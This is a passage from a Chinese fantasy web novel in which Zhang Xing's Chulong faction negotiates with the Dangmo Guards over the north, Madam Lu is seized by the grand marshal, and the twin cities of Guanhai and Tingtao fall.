这个思路还只是思路的时候,也就是六月底的时候,随着安车卫的抵抗被李定亲自指挥击溃,刘文周也返回冰沼城做进一步准备后,陆夫人派出的第二位使节抵达奔马城,并当面提出了新的条件。 “她要做龙头?”张行望着面前的李清洲,神色古怪。 “是。”李清洲鼓足勇气再度重申。“我们夫人说了,她要做龙头,而如果你们许诺三年内不动听涛、观海二城,她甚至可以去邺城,甚至可以去淮南做龙头,但一定是龙头。” 张行沉默片刻,以手指向了正在看表格的白有思:“她都不是龙头。” 李清洲面色不改,继续来言:“我们夫人说了,这是最后的条件,如果不同意,她就在听涛城尾巴那里的听涛馆立塔,便是就地**,也要多拖你们一年!北地的冬日是她最好的盟友,绝不会动摇和降服于你们的!” 张行点点头,反而不生气:“我知道了,过几日我们帮里的雄天王就会来,大司命说也要来一趟,到时候我与他们还有李龙头一起商议一下。” 李清洲一愣,反过来问道:“你不着急?” “我为什么要着急?”张行继续低头来对。“北地的事情急不得。” “大英的人出兵白道,要打梁师城了。” “我知道。”张行依旧头也不抬。 “你不要唬我!”李清洲再度提醒。 “我不唬你,去城里找地方住下等着吧……”张行反而催促。 李清洲终于无奈转身,屋子里一时间只剩下白有思和张行夫妇二人安静的查看着表格与文书,以制定战团分成子团的具体计划。 而不知道过了多久,白有思忽然问了一句莫名其妙的话:“你决心已定吗?” “**偿命,欠债还钱,难道还要下决心?”张行头也不抬,回答的也莫名其妙。 Ps:感谢共分一斗老爷的上盟,感激不尽。 第六十六章 **行(9) 进入七月,照理说最炎热的时间便已经过去,但不知道是不是心理作用,整个北地在密集的军事活动与繁忙的政务中依旧显得燥热。 李定在摧枯拉朽,明明只有二十来个营,还被分散在整个北地三分之二的广泛地界里,却不耽误他攻城略地,杀伐灭族。 没办法,联军主力被摧毁,却不代表北地就此安稳,荡魔卫的内乱也还在外溢,战后到处都是小规模流窜部众和反抗的队伍,尤其是陆夫人在联军战败后反而摆出了一副决一死战的态势后,就更是给了这些人底气。 与此同时,张行在安抚降人败兵,肢解大型战团,改镇守府与荡魔卫为郡县,以及这期间断不可少的一名**领袖最基本工作——**承诺与**恐吓。 这种焦灼的局面大约又持续了小半个月,终于随着黜龙军的后续援军大举进入北地发生了某种变化。 北地南部地区最先安稳下来……不止是紫面天王雄伯南以及三万生力军的威吓,还有来自于幽州方向的大量官吏介入。而随着大量成建制的兵力越过鹿野泽,沿着大兴山脉西路继续北进,北地西部局面自然也迅速稳定,而这也反过来极大打击到了各地荡魔卫内部的反抗势力。 到了七月下旬,随着李定集中了大约二十个营的兵力越过冰沼城,逼到观海-听涛这座双子城前,北地的局势终于在表面上暂时平稳了下来。 不过,黜龙军并没有直接发起攻击,反而是就此停下,也不知道是顾忌这座北地最大城市本身的财富与人口,还是顾忌它背后的**影响力。 七月廿五日,黜龙帮首席张行、靖安部总管白有思汇合了龙头雄伯南、大头领魏文达,将后续兵马布置妥当后,径直率领踏白骑北上,于八月初三抵达观海镇前,这个时候,黜龙军前线已经汇集了一位首席,两位龙头,四位宗师,八百奇经,二十营兵马,却依旧没有发动攻击。 八月初八,所有人都明白是怎么一回事了——荡魔卫大司命殷天齐率领三位司命,包括陆夫人的亲生父亲陆惇、青龙卫司命乌进、白狼卫司命黑延,加上之前黜龙帮留在彼处的联络者贾越与许敬祖,一起赶到了此间。 很显然,黜龙帮想要干干净净的解决这件事情,先达成**协议,再行武力扫除。 坦诚说,这有些堵人嘴的感觉,毕竟,之前也打了仗也杀了人……甚至细细究来,北地八公七卫,黜龙帮目前碰了九家,结果直接灭了两家镇守府公爵的门,杀了一个暂时退卫的司命,软禁了另一个司命,就连鹿野泽一战,虽然是一战而溃的结果,可其中战死、烧死,包括其他种种战斗非战斗减员,也足以称得上是大魏横扫北地之后的最大一次战损了。 暴力含量十足。 结果现在到了最后,反而装模作样起来,不免显得虚伪。 闭门会议发生在黜龙军军营范畴内的黑水畔一处仓库,列席人员极少,张行这边是他本人带着雄伯南、李定、白有思,对面是大司命带着三位司命,简单直接的四对四,然后之前一直在黑水卫做联络工作的贾越带人在外面负责戍卫,许敬祖在里面带人记录而已。 “我有一句话。” 作为黜龙帮在北地第一位也是最坚定的盟友,刚一落座,随行三司命之一的黑延便抢在所有人之前开了口。“你们要是再这么在北地滥杀下去,我们荡魔卫的人就跟你们黜龙帮势不两立了……不要觉得**蓝大温一个老头子就如何,今日我们不是又来了三四个吗?而便是老头子死绝了,总还有小孩子。便是联军在鹿野泽一败涂地,总还有些战团愿意给我们上大兴山。就算是你们依旧把北地推平了,我们总还能刻字在石头上教导小孩子朝你们黜龙帮扔石头!” 这话说的委实硬气,怨气明显。 而跟刘文周之前乱撒怨气不同,这回黑延绝对是撒对地方了。 李定没有吭声,但忍不住在座位中挪了一下肩膀。雄伯南则是满脸通红,继而忍不住来看张行和李定,想要知道是怎么回事,不是说局面大好,大家团结一下就能彻底解决问题吗? 怎么盟友上来就要翻脸呢? 而被看到的张行居然也不好意思一般干笑了一声,然后就势承认:“黑公说的极对,李定只是个战帅,而非是个仁君,他做的事情,都是以军事结果为考量,不足以安抚人心……蓝司命自戕,我们没拦住,朱司命二子相争,我们也没控制住局面,委实惭愧。” 黑延当场冷笑,却没有接口。 说白了,李定确实干了不少看起来残暴的事情,最明显的就是两家镇守府被准灭门的事情,但问题在于,李定杀鹿野公全家的时候,黑延是知道的,而且没有表现出任何不满;后来杀柳城公……谁都知道,黑延所在的白狼卫跟柳城之间是宿敌,恐怕他也没有太多意见。 那么为什么黑延一来就要撒气发作呢? 当然是因为他张首席跟黑司命分手后这一个月,黜龙军依次解体了两个荡魔卫,而且还**一位蓝司命,软禁带走了一位朱司命,甚至眼下还有一个青龙卫已经被全面包裹住了,附属的战团都被肢解的七七八八,此时青龙卫的乌司命就在旁边坐着呢,那再不发脾气,要是青龙卫也无了,荡魔七卫便是跟黜龙帮走下去,恐怕也得先改名叫荡魔四卫。 这就损失的让人心痛了,更让人忧心荡魔卫将来在黜龙帮内部的前途。 只不过,张行也回答的直接,蓝大温是自寻死路,朱司命是俩儿子内斗引发了铁山卫内部的强烈不满,不能把这两个卫的覆灭推到黜龙帮身上。 黑延既然语塞,大司命殷天奇倒也干脆:“张首席,我晓得你们现在没有违反咱们之前的约定,是你们进展太快,而我们被内里耗住,但你也该知道,咱们之间是合并,不是兼并,我们现在有这么大的损失,你不能拿这些言语上的东西来堵我们……” 早这么说嘛! “大司命所言极是。”张行恳切道。“那么荡魔卫想要什么补偿呢?” 能要什么补偿?之前的条件已经足够公平了好不好?眼下不就是担心黜龙帮打顺手了,又有那只“威凤”在手,准备趁势侵吞荡魔卫的实际人手与势力,然后翻脸不认人,所以来警告一下吗? 故此,殷天奇也噎了一下。 片刻后,还是乌司命最无奈,也最着急,直接开口道:“此时能要什么补偿?别处不晓得,我们青龙卫得先要个说法,现在不能直接改郡县,要等到东边叛乱平息,大司命一声令下一起改才行,包括我们附属的战团也不能动,张首席你在奔马城这大半个月快把我们附庸的战团拆了三分之一,剩下三分之一被李龙头给屠灭了……他们可不光是兵,还是我们转运粮食盐巴、经营产业的根基。” “是**切了。”张行立即点头认错。“万分惭愧,我可以做这个保证,但乌司命要保证立场,现在在打仗,我们不指望青龙卫立即出兵,可最起码不能窝藏对面的人,不能阻拦我们追击入领和作战……没道理他们打了我们,我们不能还手吧?” 乌司命如释重负:“这当然。” 黑延与殷天奇对视一眼,二人满满都是无奈……来的时候他们就讨论过,他们四个人的嘴加一起怕都不是张行一张嘴的对手,尤其是陆、乌两位还都有心事,但这么快就被对方拿捏还是有些过分。 而对视完以后,无奈之下,黑延只能跟上:“非只是青龙卫,其余荡魔卫你们也不能再干涉,我们内里进展再慢,也要让我们准备好了,给了你们具体答复,再开始郡县化,包括战团,我们给你们一个单子,暂时也不能碰。” “我觉得没问题。”张行正色道。“但咱们得有个大略期限,不然的话,你们拖一百年又如何?” “三年如何?”大司命想了一想,询问道。“假如一切顺利,事情结束后,三年内一定改完?” 张行看了眼李定,后者立即摇头。 “两年。”张行回头与大司命对视。“假如一切顺利……或者干脆一点,我们处理了眼前的反抗军,去了天池又回来,那荡魔卫应该在两年内履约完成,而且要从天池回来开始,就从军事上无条件支持李龙头,让他在西路这里编练一支大军……这支军队是我们在前方与白横秋争夺东都的最大后手,也是最后一个后顾之忧,我们只争朝夕。” “好,那就两年。”大司命心中微动,也随之肃然。“关键是,你们要先登天池,把约定好的事情做成……那一切都好说。” “这是自然。”张行肃然以对。“但大司命,我要提醒你,事情的要害是相互的,我们登天池做那件事,是荡魔卫与我们合并的核心条件,可反过来说,想要登天池做成那件事,就需要北地这里没有腹心之患,然后还要全力支持我们才行,不然我们黜龙帮如何敢将全帮之精华弄过来为荡魔卫做这种事?而且,这两件事不能简单的分主次,不能说天池那里牵扯到真龙至尊,就压倒一切,我们黜龙帮去天池,本质上不也是为了北地平安,您说是不是?” 简单的军帐内气氛显得有些紧张,许敬祖大概是唯一不知道登天池做那件事是什么意思的人,但也肯定有了猜想,此时只是记录不停,贾越则是屡屡回头,欲言又止,而其余人也都一时沉默,不知道该如何继续下去。 “其实。”白有思一直有某种旁观的视角,此时打破沉默。“说到眼下的麻烦,我的看法是,之前许诺荡魔卫两个龙头,最好两个龙头都放在北地,一个在东路一个在南路,这样的话有助于荡魔卫下面的人理解,也有助于北地的安定。可偏偏面前的这座城内,还有人想要一个龙头……” 这有点挑拨离间的感觉,只偏偏白有思用出来,效果好不好是一回事,却能迅速起效。 “所以,你们是铁了心要吞并整个西部,以求黜龙帮立足妥当吗?”陆惇蹙眉来问。 “倒也未必。”张行正色道。“只是北地三部,我们总得要一部立足,而剩下两部,当然要优先同为一家人的荡魔卫……现在的问题是,我们没有道理不把龙头给主动合并的荡魔卫而要分给起兵对抗我们的镇守府首脑……否则,人心不能服!便是你们自己愿意让,我们也要顾虑这个问题!” 陆惇沉默片刻,缓缓来问:“可是据我所知,婉儿虽然求了一个龙头的身份,也是愿意离开北地的,这不耽误事吧?” “陆夫人的原话是,她若离开北地,需要保证眼前的观海、听涛二镇在三年内不做任何改动,但这样的话,李龙头在北地就只有一个奔马城可以立足,又怎么去号召和编练整个北地的军队呢?” 陆惇复又紧锁眉头。 “刘文周和冰沼城……”黑延搜肠刮肚,想到了一个点。 “且不说一码归一码,便是非要说,冰沼城素来贫瘠,也不过是眼前这双城的十一,不足以支撑我筹备军事。”李定终究没忍住开口。 而按照会议前的交代,张行是不允许他张嘴的。 “何况这还不是支撑不支撑的事情。”白有思也接口道。“诸位司命应该晓得,陆夫人是之前举兵对抗我们的北地联军实际后台,她要强留二镇在手,那这三年内,反我们的人就有个进可攻退可守的根据地,既能躲避我们追捕,也有钱粮兵源补充……之前定约的时候,我们首席有言,‘卧榻之侧岂容他人酣睡’,而她的条件,乃是我们在卧榻酣睡,他们在侧旁有怀刃潜伏……这种局面,便是稚童刺凝丹也有可能成功的,谁敢放任?便是诸位一起作保,我们也不受。” 几名司命面色都有些难看,也都不做声。 “除此之外,既说到刘文周,他事情我也要与你们说个清楚……他这个人我已经见到了,而且也晓得了他确实有些手段,是我们上天池的必须。”张行也顺势说了下去。“但是这个人做的恶事也有些离谱,事成之后我要自行处置,请诸位记在心里……而反过来说,事成之前,要尽量先逢迎他,荡魔卫的诸位便是不好奉承也假装个无可奈何的样子。” 双方几人一愣,各自颔首,然后继续一起沉默。 不过,黜龙帮一方是抬着头的,而荡魔卫一方明显是低头为难的一方……这就是军事实力的作用了,那只威凤没有开过口,甚至今天大家都默契的没有提及,却依然起到了巨大的作用。 当然,荡魔卫是要团结的对象,是要纳入黜龙帮的同列,不能这么晾着人家。 片刻后,张行无奈主动开口:“诸位,我也听明白了,咱们之间其实没有大问题,主要是我们进展太快让你们心慌了,我们当然愿意对你们做保证,但你们似乎是想通过保留镇守府的势力做个缓冲,省的荡魔卫将来没有回旋余地……那咱们也坦诚一些,直接谈谈陆夫人和眼前观海听涛双镇的事情……双镇我们一定要拿到手,这点不可以动摇,陆夫人可以做龙头,但要离开北地,如何?” 陆惇叹了口气:“这就是最后条件了?” “是。” “那我多嘴问一句,若是婉儿不应,你们会立即攻击吗?”陆惇追问。 “诸位当面,我只说实话。”张行的回答出乎意料。“照理说,部队到位了,连宗师我们都凑了四个,甚至都入秋了,没理由不动手了结……但如果你们强烈反对,我们说不得会再讨论,因为与荡魔卫合并相比,陆夫人其实并不值一提;唯一的麻烦的是陆夫人威胁的那般,她退到听涛馆立塔,拼了命的拖我们一年……那我们反而也不得不拼了命要处理掉她,以免上天池的时候身后出乱子了。” “若是那般,我其实可以替你们看管着……”大司命忽然插了句嘴。“倒不必担心上天池时身后空虚。” “真要是那般,我们只能拼了命处理掉她。”张行忽然扬声强调了一遍。“因为真到了那个份上,她便是铁了心的要与我们黜龙帮为敌,到那时候就不是算账计较利害的事情了……或者说,真要计较利害,就是打杀掉她最重要!反倒是上天池的事情,可以缓一年两载。” 殷天奇终于闭嘴。 过了片刻,陆惇陡然起身:“我去城内见见她!” 说完,竟是直接出了营帐,往外去了,空荡荡的仓库内,几人都没有起身,只是目送他离去。 另一边,陆惇出了黜龙帮占据的临河小镇,也不骑马,也不坐车,就是步行沿岸而下,走的不快,也不慢,出仓库的时候太阳已经很西了,但天黑前便进入了观海镇,然后摸黑穿过中间的大桥,来到听涛镇,再转入听涛镇伸入海中的海岬,进到听涛馆中,全程道路通畅。 这是当然的,莫说人家是陆夫人亲爹,便不是,这个时候谁又会拦一位荡魔卫司命? 听涛馆里正在用餐,陆夫人见到自己亲爹过来,也没有什么大的动静,只是让侍女去取饭菜来,同时叮嘱侍女,鱼汤里多放醋而已。 陆惇也不说话,闷头吃饼喝汤,一大盆鱼汤,四个饼子全都吃完,抬起头来,看见自家女儿早已经收拾妥当,正正襟危坐等着自己,反而低头不语。 陆夫人见状无奈,只能扭头来对李清洲:“把宇文万筹带来。” 李清洲转身离开,须臾片刻,便将一人带到饭厅来,正是前几日自告奋勇来劝降的宇文万筹,而这位倒戈之辈倒是一来就替陆惇把想说的话说了: “夫人,不要再折腾了,黜龙帮不吃这一套,再这么下去,真要玉石俱焚的,威凤之威,我是亲眼目睹,那就是一条真龙……之前大司命宣布合并,我还觉得是黜龙帮手段高明,四两拨千斤,我们这些人确实憋屈,到了那一晚,我才晓得,黜龙帮是真的大势已成,有这一遭没这一遭,不过是少一年多一**情。” 陆夫人面色如常,听完这话,也只是摆手:“我晓得你意思了,现在人家也有新使者到了,无须你多言,咱们之间到此为止,算是恩断义绝,你回去吧!” 宇文万筹闻得此言,如遭雷击,当场失控,跪了下来,一时涕泪相加,却说不出一句话来。 陆夫人看的心烦,复又摆手:“宇文,你这人什么都好,就是太重感情,闷闷嘟嘟的,动辄就哭,在我这里就算了,到了那边,就别再哭了,省的被黜龙帮的人看不起。” 宇文闻得此言,哭的更伤心了。 陆夫人无奈,只能再度摆手,然后李清洲便上前拽起对方,将梨花带雨的对方推搡了出去。 人既走,还未再开口,外面北海中忽然一阵波浪翻涌,海风阵阵,灌入了听涛馆,整个石制的堡垒瞬间呼啸声阵阵……父女二人一起扭过头去,趁机来听波涛之声。 然而,波涛有起必有伏,过了一阵子,终究还是渐渐平息。 父女二人在石桌前相隔甚远,沉默良久,到底还是当父亲的陆惇开了口:“婉儿,咱们爷俩**年没说过话了吧?” “没那么久,不过六年零三个月……”陆夫人开口应声。“当时我杀了河对岸观海镇宁远公全家,留了这个孩子做义子,爹爹来寻我,嫌弃我杀戮太重,咱们大吵了一架,不过在那之前,大约快十年前吧,我寻大司命参加仪式,强行登天池成了点选,爹爹便震怒,从此不愿意认我了。” “不错,我六年前来这里与你吵了一架。”陆惇神色愈发挣扎。“婉儿,你名字叫做婉,可却从小性子野,修行的事情,当年杜郎的事情,后来又自行嫁人的事情,都是你自决的,便是点选的事情我也拦不住你,更不要说你都成了一方诸侯还想干涉你了……” “爹爹还是有怨气。”陆夫人幽幽以对。 “不是怨气。”陆惇停顿了一下,哽咽以对。“是觉得对不起你……你母亲去的早,我只是一味呵斥与打骂,若不是我过于严苛,与你生分,你也不会事事自决,半点不愿意倚靠我,以至于到了今日的局面……我现在想一想,当年不拘是哪一处,只要顺了你的心意,哪里还有后来的事情?尤其是杜郎身死前线……” 陆夫人原本眼神已经生动起来,但只是生动了片刻,听到这里,直接打断:“若是这般说,爹爹不免也太自以为是了,我自绝自立,一步步走到今日,皆是我一厢情愿,谈何归咎于爹爹?两个丈夫,更是自家身死阵前,与爹爹无关!更不要说,我走到今日,并没有半分后悔,便是将来结果,最多一死而已,我一个寡妇,连儿子都不是亲生的,又怎么会惧怕一死,归咎于谁,未免可笑?” “你有你的想法,事到如今,我既知错,又如何会再与你辩论?”陆惇神色哀婉。“我今日过来,只是要告诉你,为父多年都错了……仅此而已。” 说完,陆惇难掩哀色,一时泪如雨下,却连掩面都不能。 而之前还呵斥宇文万筹哭唧唧丢份子的陆夫人,此时也没有半点反应,只是茫然坐在那里。 不知道过了多久,海风再起,波涛再乱,眼泪已经干掉的陆惇缓过神来,终于起身,却是用尽最后一丝力气提醒:“黜龙帮愿意让你去做龙头,但要先交出这二镇……如果荡魔卫那里尽力阻拦,可以缓一冬,但黜龙帮决心已定,真缓一冬,最后反而没了转圜……婉儿,你若实在不能心平,就逃了吧,硬碰硬是不行的,外面全是宗师。” 说完,其人终于支撑着石桌起身,然后离开了。 就好像他来的时候那般,陆惇走的时候也无人阻拦,从听涛馆走到听涛城,过了河,进入观海镇,再出城,逆流而上,三更天的时候就回到了黜龙军军营中……李定早早歇息去了,其余白日开会的人居然都还在,众人汇集在仓库内,听陆惇细细说完了他此行经历,不由心中欷歔,却也无可奈何,便都告辞,说是等明后日城内反应再做军议。 走出仓库来,往歇息地方而去,暗淡的星光下,还在沉浸于陆夫人过往经历的张行看到了明显失落的贾越,不由心中微动,然后招手,喊了许敬祖一声,而被隔空提拔了头领的许敬祖闻言,立即如一只猫一般悄无声息跟上了上去。 当夜无言,翌日,贾越自自己营中起身后不免忙碌,许久没有回到自己营中,很多事情都要了解,伤亡如何,部队内是否有退役与升迁,李定有没有公平使用自己的**营等等……一番计较下来,其实都还好,主要是李定在几次战斗中都把**营当做最后突击的主要力量,部队对此普遍性比较满意,唯一麻烦的是,确实也有不少军官离开了,河北各处和北地南部都缺官员,这些中级军官包括高级官员都是最好的选择。 就这样,折腾了一整日,贾越好不容易整理好营中事务,见了新来军官,可转念一想,将来北地平安后自己很可能要留在北地,未必还会管军,便有些焦躁;再想到黜龙的事情,不晓得事情能不能成,又会不会为此损失许多儿郎性命,更是不安;最后想到眼前,那陆夫人同为点选,却固执至此,这一整日都没有回复,怕是要自寻死路,还牵累北地大局,不免更加烦躁。 当然,最可恨的是这种无能为力感,想当年自家成了点选,**便能夺气,便自诩能横行天下,与张行一起坐船出海到了河北,也真遇到了乱世,可是真杀起人来就知道,这不是一件容易的事情……贾越本以为自己可以无视那些**的挣扎、喊叫与眼神,专心做一把**,结果还是很艰难。 而数年后张行的重新出 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贾越微微皱眉,他当然知道来者是谁,能这个时间在满是兵马的军营里自由出入,来到自己所居的营区核心位置直接发问的,只能是黜龙帮头领,而这位头领,还是他比较熟悉的一位,也就是之前留在神仙洞协助他做联络的许敬祖。 照理说两人也算是有一番**情谊了,但实际上,贾越本能的不喜欢此人,就好像狗不喜欢猫一样。 只不过份属同列,到底不好拒之门外罢了。 许敬祖进入被征用的房间,看了看对方神色,然后方才寻了个桌前的小凳放在对方桌案一侧,坐下来问:“贾大头领,在下冒昧来问,你是不是也觉得陆夫人不会来了?” 贾越点了下头。 “那要是这样,贾大头领是否觉得可惜呢?”许敬祖挪了下屁股下的小凳,沿着桌案靠近了一步。 贾越又点了下头。 “那具体为什么可惜呢?”许敬祖继续挪近一步。 贾越稍微后仰,避开逼近的对方,蹙眉来言:“本来可以皆大欢喜的事情,就因为自己不切实际的野心死伤累累,当然可惜。” “其实要我来说,可惜的不止是大局,还有陆夫人本人。”许敬祖不再挪动凳子,反而也作态后仰笑道。“因为昨夜陆夫人必然是心动了的……人之常情嘛,哪有亲父如此诚恳而不动摇的人呢?只是心中一口气堵住,不能平而已。” “确实如此。”贾越沉默片刻,再三点头认可。“所以更可惜。” “若是贾大头领也觉得可惜,我们能不能想个法子,帮陆夫人捱过这一口气呢?”许敬祖再度向前贴了过去。 贾越这次没有避让,而是蹙眉认真来问:“你是说给她给台阶?可是首席的脾气你又不是不知道,名分也好实际也罢,是一分不会让的……实际上,咱们心知肚明,陆夫人固然可惜,但她在咱们整个帮面前又算什么呢?我今日在军中问的清楚,连军中对鹿野泽战后忽然大举赦免都不满意,这种情况下,又怎么可能会为她特事特办,而且还是龙头,还要自主?” “贾大头领,我说的是捱过这一口气,又不是说替她出了这口气。”许敬祖耐心听完,似笑非笑。“你想想,陆夫人心里其实已经被陆司命给捅虚了,那无论是什么法子,只要过了这表面上的关卡,后面怎么处理不都无妨嘛……怎么就想着对她服软呢?” “许头领,你若有主意,不妨先说出来。”贾越终于主动把耳朵靠了过去。 “主意很简单,请大司命明日如昨夜陆司命那般往城里走一遭,只说是去劝劝陆夫人……进了听涛馆,到了陆夫人跟前,大宗师伸手一抓,把人直接抓走便是!”许敬祖压低声音,言辞荒谬。“都不用回营,直接带回神仙洞看管起来。” “荒谬!”贾越一愣,然后即刻拍案。 “这种事情谈何荒谬,自古至今,以高手胁迫对方主君以求合约让步的,数不胜数。”许敬祖言辞恳切。 贾越再度一愣,还是不解:“既如此,为何首席没有用此类计策?你又为何不直接向首席进言?” 许敬祖干笑了一声,勉力答道:“道理很简单,也很充足……一来,咱们跟陆夫人是敌我,咱们去人家就得防着,可是荡魔卫立场既中立又尴尬,去那里反而大家都觉得合乎情理,也不会有人防备;二来,咱们这边只是宗师多,去的多了人家就警觉了,这种事情还是大宗师来的利索;三来,这种事情到底是个诡计,谁用了就是耗费谁的信用,而首席正要收服北地人心,宁可打一仗也不会用这个诡计的,那我又怎么可能建议让咱们去做呢?” 贾越连连点头:“就是这个道理,我说荒谬也是这个道理……我们都知道这要耗费大家的信用,人家荡魔卫不知道吗?” “荡魔卫当然也知道。”许敬祖继续笑道。“只是呢,这不是蓝司命爱女心切吗?不是荡魔卫正在内乱,也想要局势稳定吗?不是七位司命,一位**,一位被首席请去邺城喝酸梅汤,再来一位陆司命撑不下去,大司命接受不了吗?和平解决北地这件事情,荡魔卫比我们其实更着急,最起码陆夫人这件事,他们更着急,不然也不会急匆匆过来了。” 贾越若有所思,俨然动摇。 而许敬祖也继续道:“至于我为什么来找贾大头领,其实也是因为这件事只有贾大头领方便去找大司命……不要用咱们黜龙帮的身份和名义去说,就以北地出身的黑帝爷点选身份去见大司命,说不忍见到黑帝爷点选自相残杀,然后痛陈利害便是。” 贾越忽的一下站起身来,朝着身下还没来得及起身的许敬祖拱手一礼,便从几案另一侧绕出来,直接推门去了。 夜色如琳,一时也不晓得结果。 只说第二日,军中召开大军议,双方首脑在内,到领兵头领俱全,张首席先做询问,下面领兵头领们各自发言,却是几乎一致,都认为应该尽快开战,省得拖入冬日。 倒是几位大头领里面,有几位建议等几日,看南面能不能把千金教主请来,若是千金教主能到,那便是陆夫人强行立塔也不怕,大不了强冲,万一受伤,请千金教主救一救。 张行犯惯了举手病的,听完后自然要大家一起举手,而且还建议大司命和三位司命一起举个手,先适应一下。 然而,大司命听了半日,此时却忽然起身,阻止了举手。 “张首席,昨日陆司命没有说清楚日期,咱们现在定策,显得不够诚恳。”殷天奇言辞飘忽。“今日我再去城内一趟,劝一劝,说清楚限期到明日,再不降就没有说法了……决策的事情,等明日再定也不急。” 张行大喜:“大司命亲自去,自然是极好的,一日而已,无妨。” 殷天奇得了答复,却立在堂中不动,反而显得迟疑。 张行见状,便硬着头皮来问:“殷龙头还有什么言语?” “我要进城去,到底有些危险,有件事情想请张首席先做个讨论。”殷天奇似乎有些畏缩。“省的我来不及计较。” 张行心中苦笑,晓得是自己被人家看穿,却也无法,只能颔首:“殷公尽管来说。” “按照之前议论,这观海听涛二镇,张首席是准备划入西部,归李龙头管辖的,是也不是?” “是。” “而李龙头却要驻奔马城?” “是。” “那这二镇是分两郡吗?” “倒也不必,划成一个大郡也无妨。”张行已经猜到对方所想了。 “若成大郡,这一郡便是没有北地五一,也有七一之精华了……不知道张首席准备用谁做郡守?” “原本是想用老沈的……” “此人是谁?” “是黜龙帮资历精英,当年历山之战前,踏白骑还是临时汇集的白衣骑士时,他就已经是**兼奇经高手了,如今屡任队将、县令、副营将、踏白骑队将,鹿野泽战后,更是凝丹成功,我正要用他在北地为郡守,好抬举为头领。” “这番履历让人无话可说。”殷天奇沉默片刻,但还是拱手来问。“可是北地初纳,为了地方安稳着想,能不能换个北地出身的人来做这个郡守呢?实际上,我以为北地郡守、县令,前三年应该多一些北地出身之人。” 张行认真思索片刻,给出答复:“观海听涛二镇改的新郡,可以让贾大头领以副指挥的身份来兼任,但其余地方长吏的人选,我以为就不必这么计较了……北地人往外走,外面的人往北地来,才是让大家尽快融合的方法……大不了,多让一些北地人南下去河北做官嘛。” 殷天奇想了又想,便点点头,拱手以对:“若如此,老夫此去,便是有什么闪失也算是给了北地人一些交代了。” 说完,这位大宗师居然朝周围面色不虞的黜龙帮头领们团团拱手,惊得众人纷纷起身,然后不顾众人惊愕,直接披着黑**氅子,大踏步出去了。 张行亲自率众人送出开会的棚子,目送对方离开营帐顺着黑水河一路向北,不由环顾左右,讪讪一时:“诸位,就殷公这几句话,要是此行他做了什么出奇之事,怕是天下人还以为是我撺掇的呢。” 众人闻言,非但没有释然,反而愈发惊疑。 而这种惊疑,很快随着张行亲自下令,要各部严阵以待,进一步发酵起来。 当然,这种情况没有持续太久。 中午时分,随着全军包括对方姊妹城中无数人的惊呼,日光之下,堪称北地母亲河的黑水河忽然活了过来一般,凭空在观涛镇上方蜿蜒而出一条空中“飞河支流”,若以黑水为龙的话,这条空中飞河好像是祂探出的脑袋与脖子一般……甚至考虑到黑水河的长度,更极端一点,像是伸出的舌头。 这还不算,这条舌头只是在听涛馆上一点,便凌空卷起一根巨大的青色玉簪,然后又如缩回一般,在众目睽睽之下,飞速的逆着黑水往上游而去了。 张行对真气的感知能力堪比宗师,他明显感觉到,此时此刻,不仅是那条飞河充盈着弱水真气,便是整条黑水河居然都有些真气翻滚,绵延不断,根本看不到头。 这手段,便是大宗师都离谱! 或者说,不愧是背靠至尊的大宗师! 当然,感慨不及,他更是亲眼看见,那大司命用黑氅卷住陆夫人双手手腕,在黑水上逆流如飞。 一下子就消失不见了。 数息之后,呆若木鸡的木棚外,伴随着陆司命忽然一下子瘫倒在地,张行顺势推了一下李定。 李战帅反应过来,毫不犹豫,下令全军按照预定计划,对这北地第一也是最后一对双城发起总攻。 到了晚间,张首席居然便入得听涛馆了。 第六十七章 **行(10) “此人是谁?”纯石头做成的大堂内,高居中央石头尊位的张行茫然来问身侧之人。 就立在一侧的机要文书许敬祖赶紧做答:“前大魏穆国公曹……” “哦哦,想起来了,赦为平民,给他在……你准备回长安吗?现在叫长安了……还是去河北寻你堂侄一家?”张行听到一半便想起来是谁了。 “罪臣不想再走了。”前穆国公曹成表情很奇怪,像哭又像笑,似乎是自己也不知道该用什么表情如何面对黜龙军和张行。“罪臣能活下来,就已经了不得了,只望留在本处,安心生活。” “好。”张行立即点头。“给你在河对岸观海城安排一个房屋,以后自食其力,若将来懒得饿**,也与我们无关。” 曹成俯身下拜,就在这听涛阁大堂内的石板地面上重重叩首,站起身来,方才想起一事,复又来问:“罪臣冒昧问尊位,尊位要如何处置陆夫人?” “陆夫人是荡魔卫大司命带走的,我也无法处置。”张行恳切来答。“不过,想来大司命这般做,就是为了避免玉石俱焚。” “那就好,那就好。”曹成连连点头,彻底释然,然后又一叩首,就直接走了。 甚至有几分潇洒。 仔细想想,兜兜转转,在曹彻持续不断的努力下,居然还能有这么一支曹氏宗亲囫囵的保全了下来,也的确让人佩服。 曹成既走,又一人被“押”了进来。 张行远远皱眉:“他还有家人吗?” “没有。”回答问题的是当代观海镇主人,他小小年纪便梗着脖子大声来答。“张至尊,求你替我报仇!我愿意奉献观海镇为郡县!” 说完,也扑通一声下跪,朝着硬梆梆的石头地磕起头来! 张行看的两眼发白,怎么一个个都这么喜欢在石头上磕头?而且怎么都喜欢乱给自己起称号? 想了一想,这位首席给出答复:“不是这样的,前朝的仇跟我们没关系,我们没有立场为你报仇,哪怕跟陆夫人敌对,也与此无关,更不会为了你的恩怨继续动兵刀……至于观海镇,你若强留,反而要成为我们敌人的。” 那之前还乖乖从陆夫人手里吃点心的小孩子此时倒是硬气,其人立即抬头来问:“那就不劳张至尊替我报仇了,听说你们黜龙帮治下,小孩子都要强制筑基,是也不是?能否让我也去?” 张行自然晓得对方什么意思,但也无话可说,只能点头,然后朝押解这孩子的甲士来言:“送他去邺城,寻一户帮中有孩子的寄养个几年,让他参与筑基,成年后给两间房子,均田列户,任他自由。” 末代观海镇主人立即再度于石板上叩首,然后转身出去了。 人既走,又一人被押解进来。 张行看到来人,直接摆手:“带她去黑水卫神仙洞与陆夫人团聚。” 李清洲自己都一愣,然后却立即摇头:“我不去!” “哦?”张行略显诧异。“那你要如何?要降服于我们还是要求死?” “都不是。” “所以呢?”张行耐住了性子。 “夫人之前便有吩咐,若是她退到这里立塔而你们不来攻,便要我去伪作投降,随行观察,防止你们冬日上山。”李清洲干脆做答。“若你们真的上了天池,那就等事后无论成败都迅速与她沟通……” 张行心下恍然,以陆夫人的修为,又立了塔,吞风君真没了,她也立即就知道了,沟通根本没必要,所以不管陆夫人对黜龙帮有没有心存恶念,对这小姑娘都是一番善意……只是刚刚那孩子,怎么就……? 实际上,便是立在门口的宇文万筹都眼神飘忽了一下。 